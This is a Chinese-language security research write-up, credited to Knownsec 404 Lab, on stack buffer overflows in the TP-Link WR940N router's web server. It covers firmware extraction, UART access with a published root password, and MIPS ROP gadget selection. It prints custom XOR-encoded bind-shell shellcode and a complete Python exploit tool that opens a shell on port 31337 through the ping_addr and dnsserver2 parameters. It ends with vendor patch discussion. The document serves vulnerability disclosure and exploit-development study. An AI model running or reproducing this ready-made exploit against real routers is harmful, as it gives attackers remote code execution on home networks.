作者:知道創(chuàng)宇404實(shí)驗(yàn)室
本文重點(diǎn)討論作者近期從事 TP-Link WR940N 家用 WiFi 路由器漏洞研究獲得的心得體會,主要從發(fā)現(xiàn)漏洞代碼路徑的必要步驟與通過這些路徑實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行的方式兩方面入手。
首先,我將介紹如何找到第一個漏洞以及生成完整攻擊鏈的方法;然后,說明此漏洞已形成特定模式,可使設(shè)備遭受數(shù)百種網(wǎng)絡(luò)攻擊。
我選取的設(shè)備是TP-Link(硬件版本4)WR940N 家用 WiFi 路由器。進(jìn)行物聯(lián)網(wǎng)設(shè)備研究的通常做法是獲取固件副本并提取文件系統(tǒng)。
固件鏈接:https://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip
如圖所示,binwalk已成功發(fā)現(xiàn)并提取文件系統(tǒng)。下一步是獲得關(guān)于設(shè)備運(yùn)行程序的少量信息,例如影子文件內(nèi)容(具體原因?qū)⒃诤笪年U述)。
我接觸過的多數(shù)嵌入式系統(tǒng)都采用busybox,所以重點(diǎn)在于找出能夠運(yùn)行哪些程序、是否需要某種形式的shell注入。解決上述問題通常有兩種做法,一種做法是列出busybox中的所有symlink。我個人比較喜歡在chroot環(huán)境qemu下運(yùn)行busybox二進(jìn)制文件,好處是能夠獲知啟用了哪些功能:
所以,我并沒有采用Telnet、netcat等工具,但確實(shí)有用到tftp。后者可在獲取shell注入后使用。最后,快速瀏覽rc.d/rcS后得出結(jié)論,路由器啟動最后一項(xiàng)操作是運(yùn)行httpd二進(jìn)制文件。我原以為可從這里入手,因?yàn)镠TTP daemon通常提供較大攻擊面。
我在Web界面初始測試階段找到可在成功驗(yàn)證大型字符串的前提下致使設(shè)備停止響應(yīng)的區(qū)域。有趣的是用戶端代碼輸入不得超過50個字符。
顯然,這種做法可通過Burp Suite輕易繞過。在等待USB uart 啟動設(shè)備的過程中,我決定對這些字段進(jìn)行簡單的fuzz處理。此外,我還發(fā)現(xiàn)輸入51字節(jié)ping_addr后產(chǎn)生以下后果:
盡管HTTP端口仍處于開放狀態(tài),我還是以略顯笨拙的fuzzing方法將字節(jié)數(shù)提高到200,并發(fā)現(xiàn)這種做法確實(shí)能使服務(wù)崩潰:
現(xiàn)在,我們已成功發(fā)現(xiàn)一個拒絕服務(wù)(DoS)漏洞,但并沒多大新意。為了合理調(diào)試運(yùn)行程序,我需要通過uart交互界面訪問設(shè)備,具體步驟參見https://wiki.openwrt.org/toh/tp-link/tl-wr940n。應(yīng)注意,設(shè)備成功啟動后將出現(xiàn)一個登陸提示。可嘗試破解上述影子文件密碼或像我一樣到網(wǎng)上進(jìn)行谷歌搜索(root密碼為sohoadmin)。
現(xiàn)在我們已成功訪問設(shè)備,可以了解實(shí)際運(yùn)行了哪些程序。如圖所示,httpd二進(jìn)制文件負(fù)責(zé)多個進(jìn)程。
最后一步是下載gdbserver。為確保正常運(yùn)行,我花費(fèi)大量功夫?qū)ふ乙豢罱徊婢幾g的gdbserver。如果選擇下載GPL源代碼,就可以省去這些麻煩,直接獲取預(yù)先編譯的二進(jìn)制文件。我用SCP進(jìn)行復(fù)制,經(jīng)過一番周折終于發(fā)現(xiàn)連接到上一個httpd進(jìn)程可以調(diào)試實(shí)際Web界面。
如上所述,用戶輸入超出JavaScript代碼限制就會造成HTTP服務(wù)崩潰。
IDA中的二進(jìn)制文件明確闡述了具體進(jìn)程使用情況。例如,sub_453C50具有檢查請求是否有效、通過驗(yàn)證的常用功能:
接下來,對httpGetEnv進(jìn)行調(diào)用。應(yīng)注意 “ping_addr”、“isNew”等值通過GET參數(shù)傳遞。然后,仍在相同函數(shù)中調(diào)用ipAddrDispose。
第一個漏洞就存在于這個函數(shù)中。函數(shù)開頭聲明堆棧變量va_AC,然后作為目標(biāo)參數(shù)傳遞給strcpy調(diào)用。問題在于源參數(shù)($s1)是函數(shù)的第一個引數(shù),并且沒有對其長度進(jìn)行驗(yàn)證,屬于一個經(jīng)典的緩沖區(qū)溢出。
為此,我專門寫了一個簡單的python腳本觸發(fā)漏洞,也就是登錄功能。登錄設(shè)備將生成隨機(jī)URL。
import urllib2 import urllib import base64 import hashlibdef login(ip, user, pwd): #### Generate the auth cookie of the form b64enc(‘a(chǎn)dmin:’ + md5(‘a(chǎn)dmin’)) hash = hashlib.md5() hash.update(pwd) auth_string = “%s:%s” %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string) print “[debug] Encoded authorisation: %s” %encoded_string#### Send the request url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save” req = urllib2.Request(url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string) resp = urllib2.urlopen(req)#### The server generates a random path for further requests, grab that here data = resp.read() next_url = “http://%s/%s/userRpm/” %(ip, data.split(“=”)[2].split(“/”)[3]) print “[debug] Got random path for next stage, url is now %s” %next_urlreturn (next_url, encoded_string) def exploit(url, auth): #trash,control of s0,s1 + ra + shellcode evil = “\x41″*800 params = {‘ping_addr’: evil, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’} new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params) req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “DiagnosticRpm.htm”) resp = urllib2.urlopen(req) if __name__ == ‘__main__’: data = login(“192.168.0.1”, “admin”, “admin”) exploit(data[0], data[1])
啟動gdbserver(需附加到最后一個httpd進(jìn)程)后,我在ipAddrDispose退出之前設(shè)置了一個斷點(diǎn),然后運(yùn)行PoC:
可以看到,我們已經(jīng)獲得返回地址的控制權(quán)限。 在執(zhí)行常規(guī)的msf_pattern_create / pattern_offset進(jìn)程后,$ra在偏移量168處被覆蓋。同時(shí),我們分別擁有對$s0(位于偏移量160)與$s1(位于偏移量164)的控制權(quán)。此外,我們還有一個大型緩沖區(qū)堆棧存放shellcode:
這部分工作需要注意Mips架構(gòu)相關(guān)事項(xiàng)。首先是緩存一致性,這點(diǎn)在許多博客中都有廣泛提及(參見 http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/)。 簡單說來,如果我們嘗試在堆棧上執(zhí)行shellcode,CPU將檢查緩存中是否已有虛擬地址數(shù)據(jù),如果有就執(zhí)行。這意味著觸發(fā)漏洞前,堆棧上的任何數(shù)據(jù)都可能被執(zhí)行。 此外,如果我們的shellcode具有自修改屬性(對于IE,我們使用編碼器),編碼指令將最終被執(zhí)行。
參考:http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf
正如許多在線資源所述,刷新緩存的最佳方式是通過ROP將調(diào)用設(shè)置為睡眠狀態(tài)。觸發(fā)該漏洞后,我將兩個調(diào)用設(shè)置為睡眠狀態(tài),第一個直接進(jìn)入睡眠狀態(tài),第二個在解碼器成完成對含有壞字節(jié)的指令解碼后進(jìn)入睡眠狀態(tài)。
我們只有確定哪些庫可執(zhí)行及其所在地址才能判斷應(yīng)使用哪些小工具。(注:默認(rèn)情況下不啟用ASLR)。
httpd maps: 00400000-00587000 r-xp 00000000 1f:02 64 /usr/bin/httpd 00597000-005b7000 rw-p 00187000 1f:02 64 /usr/bin/httpd 005b7000-00698000 rwxp 00000000 00:00 0 [heap] 2aaa8000-2aaad000 r-xp 00000000 1f:02 237 /lib/ld-uClibc-0.9.30.so 2aaad000-2aaae000 rw-p 00000000 00:00 0 2aaae000-2aab2000 rw-s 00000000 00:06 0 /SYSV0000002f (deleted) 2aabc000-2aabd000 r–p 00004000 1f:02 237 /lib/ld-uClibc-0.9.30.so 2aabd000-2aabe000 rw-p 00005000 1f:02 237 /lib/ld-uClibc-0.9.30.so 2aabe000-2aacb000 r-xp 00000000 1f:02 218 /lib/libpthread-0.9.30.so 2aacb000-2aada000 —p 00000000 00:00 0 2aada000-2aadb000 r–p 0000c000 1f:02 218 /lib/libpthread-0.9.30.so 2aadb000-2aae0000 rw-p 0000d000 1f:02 218 /lib/libpthread-0.9.30.so 2aae0000-2aae2000 rw-p 00000000 00:00 0 2aae2000-2ab3f000 r-xp 00000000 1f:02 238 /lib/libuClibc-0.9.30.so<….. snip …..>7edfc000-7ee00000 rwxp 00000000 00:00 0 7effc000-7f000000 rwxp 00000000 00:00 0 7f1fc000-7f200000 rwxp 00000000 00:00 0 7f3fc000-7f400000 rwxp 00000000 00:00 0 7f5fc000-7f600000 rwxp 00000000 00:00 0 7fc8b000-7fca0000 rwxp 00000000 00:00 0 [stack]
LibuClibC-0.9.30.so看似可行,在IDA中打開并使用http://www.devttys0.com/2013/10/mips-rop-ida-plugin/中的mipsrop.py腳本就可以尋找小工具了。
首先,我們需要一個具有以下功能的小工具:
li $a0, 1 mov $t9, $s0 or $s1 #we control $s0 and $s1 jr $t9
運(yùn)行的第一個命令是mipsrop.set_base(0x2aae000),它將自動計(jì)算實(shí)際地址。
注意第二個小工具,它返回到$s1中的地址:
這是我設(shè)置睡眠狀態(tài)調(diào)用的小工具,它的地址將覆蓋ipAddrDispose的返回地址。
我們將要用到的下一個小工具(放入$s1)需要調(diào)用睡眠狀態(tài),前提是將睡眠后調(diào)用的小工具地址放放在ra中。 我們可以使用mipsrop.tail()查找此類小工具。
這個小工具運(yùn)行良好,唯一要注意的是它會在初次運(yùn)行時(shí)自動完成調(diào)用。
第一次被調(diào)用時(shí),$s1將包含0x2AE3840,用作$t9中的地址跳轉(zhuǎn)。為了讓這個小工具正常工作,需要準(zhǔn)備堆棧。在第一次調(diào)用過程中,將睡眠地址放在$s1中,也就是0x20($sp)。 在第二次調(diào)用過程中,$t9將產(chǎn)生睡眠地址,需要將待調(diào)用的下一個小工具地址設(shè)置為0x24($sp),再根據(jù)最終小工具填寫$s0和$s1(跳轉(zhuǎn)至現(xiàn)有shellcode)。
這為我們提供了以下有效載荷:
Trash $s1 $ra rop = “A”*164 + call_sleep + prepare_sleep + “B”*0x20 + sleep_addr $s0 $s1 $ra rop += “C”*0x20 + “D”*4 + “E”*4 + next_gadg
從睡眠狀態(tài)返回后,待調(diào)用的下一個小工具需要將堆棧指針存儲在寄存器中,然后跳轉(zhuǎn)至$s0或$s1中的地址(均在控制范圍內(nèi))。 這將導(dǎo)致最終的小工具跳轉(zhuǎn)到該寄存器(意味著它將跳轉(zhuǎn)至堆棧的某個位置,最好是shellcode的位置)。mipsrop.py中的一個便捷功能是stack stackfinder():
瀏覽后發(fā)現(xiàn)幾乎所有這些小工具都好用,我們重點(diǎn)了解最后一個:
既然$s0可通過之前的小工具進(jìn)行控制,現(xiàn)在要做的是找到一個跳轉(zhuǎn)至$s2中地址(堆棧地址)的小工具。
這些小工具都有效,但我偏好使用對其他寄存器影響最小的小工具,例如:
此時(shí),有效載荷如下所示:
nop = “\x22\x51\x44\x44” gadg_1 = “\x2A\xB3\x7C\x60” gadg_2 = “\x2A\xB1\x78\x40” sleep_addr = “\x2a\xb3\x50\x90” stack_gadg = “\x2A\xAF\x84\xC0” call_code = “\x2A\xB2\xDC\xF0″def first_exploit(url, auth): # trash $s1 $ra rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode
攻擊鏈運(yùn)行后困在NOP sled環(huán)節(jié),當(dāng)務(wù)之急是寫一些shellcode,識別壞字符,并將 + + <編碼shellcode>附加到攻擊鏈。
我只找到一處壞字節(jié)0x20,顯然應(yīng)該是0x00。
我嘗試使所有常見有效載荷正常工作,但msf_venom無法使用mips/long_xor編碼,而我也無法獲得bowcaster有效載荷。 我沒寫過mips shellcode,所以決定寫一個極簡版編碼器,僅通過引用堆棧偏移對含有壞字節(jié)的指令進(jìn)行操作。
.set noreorder #nop addi $s5, $s6, 0x4444#xor key li $s1, 2576980377#get address of stack la $s2, 1439($sp)#s2 -> end of shellcode (end of all shellcode) addi $s2, $s2, -864#decode first bad bytes lw $t2, -263($s2) xor $v1, $s1, $t2 sw $v1, -263($s2)#decode 2nd bad bytes lw $t2, -191($s2) xor $v1, $s1, $t2 sw $v1, -191($s2)<…snip…>##### sleep #####li $v0, 4166 li $t7, 0x0368 addi $t7, $t7, -0x0304 sw $t7, -0x0402($sp) sw $t7, -0x0406($sp) la $a0, -0x0406($sp) syscall 0x40404 addi $t4, $t4, 4444 #nop
這顯然不是最有效的處理方式,因?yàn)樾枰诙褩I险业矫總€壞字節(jié)的偏移量(幸好mips是4字節(jié)對齊指令,因此每個偏移都是4的倍數(shù))。此外,還需要計(jì)算每個壞字節(jié)指令的編碼值。
綁定shellcode非常簡單。
.set noreorder ###### sys_socket ###### addiu $sp, $sp, -32 li $t6, -3 nor $a0, $t6, $zero nor $a1, $t6, $zero slti $a2, $0, -1 li $v0, 4183 syscall 0x40404##### sys_bind #### add $t9, $t9, 0x4444 #nop andi $s0, $v0, 0xffff li $t6, -17 nor $t6, $t6, $zero li $t5, 0x7a69 #port 31337 li $t7, -513 nor $t7, $t7, $zero sllv $t7, $t7, $t6 or $t5, $t5, $t7 sw $t5, -32($sp) sw $zero,-28($sp) sw $zero,-24($sp) sw $zero,-20($sp) or $a0, $s0, $s0 li $t6, -17 nor $a2, $t6, $zero addi $a1, $sp, -32 li $v0, 4169 syscall 0x40404##### listen ##### li $t7,0x7350 or $a0,$s0,$s0 li $a1,257 li $v0,4174 syscall 0x40404##### accept ##### li $t7,0x7350 or $a0,$s0,$s0 slti $a1,$zero,-1 slti $a2,$zero,-1 li $v0,4168 syscall 0x40404##### dup fd’s #### li $t7,0x7350 andi $s0,$v0,0xffff or $a0,$s0,$s0 li $t7,-3 nor $a1,$t7,$zero li $v0,4063 syscall 0x40404 li $t7,0x7350 or $a0,$s0,$s0 slti $a1,$zero,0x0101 li $v0,4063 syscall 0x40404 li $t7,0x7350 or $a0,$s0,$s0 slti $a1,$zero,-1 li $v0,4063 syscall 0x40404######execve###### lui $t7,0x2f2f ori $t7,$t7,0x6269 sw $t7,-20($sp) lui $t6,0x6e2f ori $t6,$t6,0x7368 sw $t6,-16($sp) sw $zero,-12($sp) addiu $a0,$sp,-20 sw $a0,-8($sp) sw $zero,-4($sp) addiu $a1,$sp,-8 li $v0,4011 syscall 0x40404#### sleep ##### li $v0, 4166 li $t7, 0x0368 addi $t7, $t7, -0x0304 sw $t7, -0x0402($sp) sw $t7, -0x0406($sp) la $a0, -0x0406($sp) syscall 0x40404 addi $t4, $t4, 4444
請注意,如果我們在調(diào)用execve后沒有進(jìn)入睡眠狀態(tài),原始進(jìn)程將會結(jié)束并殺死所有其他httpd進(jìn)程,阻止我們訪問bind shell。
此漏洞的最終攻擊鏈構(gòu)造如下:
import urllib2 import urllib import base64 import hashlib import osdef login(ip, user, pwd): #### Generate the auth cookie of the form b64enc(‘a(chǎn)dmin:’ + md5(‘a(chǎn)dmin’)) hash = hashlib.md5() hash.update(pwd) auth_string = “%s:%s” %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string) print “[debug] Encoded authorisation: %s” %encoded_string #### Send the request url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save” print “[debug] sending login to ” + url req = urllib2.Request(url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string) resp = urllib2.urlopen(req) #### The server generates a random path for further requests, grab that here data = resp.read() next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3]) print “[debug] Got random path for next stage, url is now %s” %next_url return (next_url, encoded_string)#custom bind shell shellcode with very simple xor encoder #followed by a sleep syscall to flush cash before running #bad chars = 0x20, 0x00 shellcode = ( #encoder “\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99” “\x27\xb2\x05\x9f” “\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9” “\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41” “\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d” “\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71” “\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d” “\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99” “\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5” “\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad” “\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9” “\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1” “\x02\x2a\x18\x26\xae\x43\xff\xc1″#sleep “\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08” “\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c”################ encoded shellcode ############### “\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06” “\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff” “\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d” “\x7a\x69” #<————————- PORT 0x7a69 (31337) “\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad” “\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc” “\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01” “\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48” “\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f” “\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c” “\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce” “\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8” “\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02” “\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c” )###### useful gadgets ####### nop = “\x22\x51\x44\x44” gadg_1 = “\x2A\xB3\x7C\x60” gadg_2 = “\x2A\xB1\x78\x40” sleep_addr = “\x2a\xb3\x50\x90” stack_gadg = “\x2A\xAF\x84\xC0” call_code = “\x2A\xB2\xDC\xF0″def first_exploit(url, auth): # trash $s1 $ra rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’} new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params)print “[debug] sending exploit…” print “[+] Please wait a few seconds before connecting to port 31337…” req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “DiagnosticRpm.htm”) resp = urllib2.urlopen(req)if __name__ == ‘__main__’: data = login(“192.168.0.1”, “admin”, “admin”) first_exploit(data[0], data[1])
這個漏洞有一個非常簡單的模式,即來自GET參數(shù)的用戶輸入直接傳遞給strcpy調(diào)用,無需任何驗(yàn)證。 深入分析二進(jìn)制文件后得出結(jié)論,這種相同模式在多處都有呈現(xiàn)。
實(shí)際上,存在大量strcpy調(diào)用:
值得稱贊的是,廠商在短短幾天內(nèi)就為第一個漏洞提供了補(bǔ)丁。 但從我個人角度看,幾乎所有這些strcpy調(diào)用都需要以更安全的字符串復(fù)制功能替代。為了證明這一點(diǎn),我決定再構(gòu)造一個攻擊鏈,通過dnsserver2參數(shù)觸發(fā)WanStaticIpV6CfgRpm.htm中的緩沖區(qū)溢出。
這個攻擊鏈與之前那個十分相似,僅在自定義編碼器中存在一處偏移量改變(因?yàn)槎褩V羔樦赶虿煌恢茫?主要區(qū)別是在我在Mips exploit開發(fā)過程中沒有遇到的字節(jié)對齊問題。
構(gòu)造攻擊鏈過程中,我不斷收到非法指令錯誤提示,nop sled看起來也不像以前那樣:
注意所有指令都相隔2個字節(jié),原因在于我的有效載荷:
這個緩沖區(qū)結(jié)尾有一處未指定輸入,強(qiáng)制有效載荷結(jié)束對齊。 事實(shí)證明,即使這是最后步驟,也需要填補(bǔ)最終有效載荷,恢復(fù)對齊。完成后,nopsled將如下所示:
我們得到綁定shell:
最終代碼包含兩個漏洞的攻擊鏈,如下所示:
(注:在second_exploit中,幾乎所有GET參數(shù)都易受緩沖區(qū)溢出影響)
import urllib2 import base64 import hashlib from optparse import * import sys import urllibbanner = ( “___________________________________________________________________________\n” “WR940N Authenticated Remote Code Exploit\n” “This exploit will open a bind shell on the remote target\n” “The port is 31337, you can change that in the code if you wish\n” “This exploit requires authentication, if you know the creds, then\n” “use the -u -p options, otherwise default is admin:admin\n” “___________________________________________________________________________” )def login(ip, user, pwd): print “[+] Attempting to login to http://%s %s:%s”%(ip,user,pwd) #### Generate the auth cookie of the form b64enc(‘a(chǎn)dmin:’ + md5(‘a(chǎn)dmin’)) hash = hashlib.md5() hash.update(pwd) auth_string = “%s:%s” %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string)print “[+] Encoded authorisation: %s” %encoded_string#### Send the request url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save” print “[+] sending login to ” + url req = urllib2.Request(url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string) resp = urllib2.urlopen(req) #### The server generates a random path for further requests, grab that here data = resp.read() next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3]) print “[+] Got random path for next stage, url is now %s” %next_url return (next_url, encoded_string) #custom bind shell shellcode with very simple xor encoder #followed by a sleep syscall to flush cash before running #bad chars = 0x20, 0x00 shellcode = ( #encoder “\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99” “\x27\xb2\x05\x4b” #0x27b2059f for first_exploit “\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9” “\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41” “\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d” “\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71” “\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d” “\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99” “\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5” “\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad” “\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9” “\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1” “\x02\x2a\x18\x26\xae\x43\xff\xc1” #sleep “\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08” “\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c” ################ encoded shellcode ############### “\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06” “\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff” “\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d” “\x7a\x69” #<————————- PORT 0x7a69 (31337) “\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad” “\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc” “\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01” “\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48” “\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f” “\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c” “\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce” “\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8” “\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02” “\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c” ) ###### useful gadgets ####### nop = “\x22\x51\x44\x44” gadg_1 = “\x2A\xB3\x7C\x60” gadg_2 = “\x2A\xB1\x78\x40” sleep_addr = “\x2a\xb3\x50\x90” stack_gadg = “\x2A\xAF\x84\xC0” call_code = “\x2A\xB2\xDC\xF0” def first_exploit(url, auth): # trash $s1 $ra rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr + “C”*4 rop += “C”*0x1c + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’} new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params) print “[+] sending exploit…” print “[+] Wait a couple of seconds before connecting” print “[+] When you are finished do http -r to reset the http service” req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “DiagnosticRpm.htm”) resp = urllib2.urlopen(req) def second_exploit(url, auth): url = url + “WanStaticIpV6CfgRpm.htm?” # trash s0 s1 s2 s3 s4 ret shellcode payload = “A”*111 + “B”*4 + gadg_2 + “D”*4 + “E”*4 + “F”*4 + gadg_1 + “a”*0x1c payload += “A”*4 + sleep_addr + “C”*0x20 + call_code + “E”*4 payload += stack_gadg + “A”*4 + nop*10 + shellcode + “B”*7 print len(payload) params = {‘ipv6Enable’: ‘on’, ‘wantype’: ‘2’, ‘ipType’: ‘2’, ‘mtu’: ‘1480’, ‘dnsType’: ‘1’, ‘dnsserver2’: payload, ‘ipAssignType’: ‘0’, ‘ipStart’: ‘1000’, ‘ipEnd’: ‘2000’, ‘time’: ‘86400’, ‘ipPrefixType’: ‘0’, ‘staticPrefix’: ‘AAAA’, ‘staticPrefixLength’: ’64’, ‘Save’: ‘Save’, ‘RenewIp’: ‘1’} new_url = url + urllib.urlencode(params) print “[+] sending exploit…” print “[+] Wait a couple of seconds before connecting” print “[+] When you are finished do http -r to reset the http service” req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “WanStaticIpV6CfgRpm.htm”) resp = urllib2.urlopen(req) if __name__ == ‘__main__’: print banner username = “admin” password = “admin” parser = OptionParser() parser.add_option(“-t”, “–target”, dest=”host”, help=”target ip address”) parser.add_option(“-u”, “–user”, dest=”username”, help=”username for authentication”, default=”admin”) parser.add_option(“-p”, “–password”, dest=”password”, help=”password for authentication”, default=”admin”) (options, args) = parser.parse_args() if options.host is None: parser.error(“[x] A host name is required at the minimum [x]”) if options.username is not None: username = options.username if options.password is not None: password = options.password (next_url, encoded_string) = login(options.host, username, password) ###### Both exploits result in the same bind shell ###### #first_exploit(data[0], data[1]) second_exploit(next_url, encoded_string)
一項(xiàng)shodan快速搜索結(jié)果顯示有7200臺類似聯(lián)網(wǎng)設(shè)備。(目前,已在一個月內(nèi)增長了3500臺。)
為了修復(fù)這些漏洞,廠商需要以更安全的操作(例如strncpy)代替大部分strcpy調(diào)用。值得稱贊的是,他們很快就實(shí)現(xiàn)了這一目標(biāo)并在報(bào)告其他受影響代碼的一周內(nèi)提供了完整補(bǔ)丁。接下來,我將對補(bǔ)丁進(jìn)行快速分析。
首先,應(yīng)查看strcpy交叉引用。二進(jìn)制文件存在700多個調(diào)用,在修復(fù)版本中,我們可以看到不同景象:
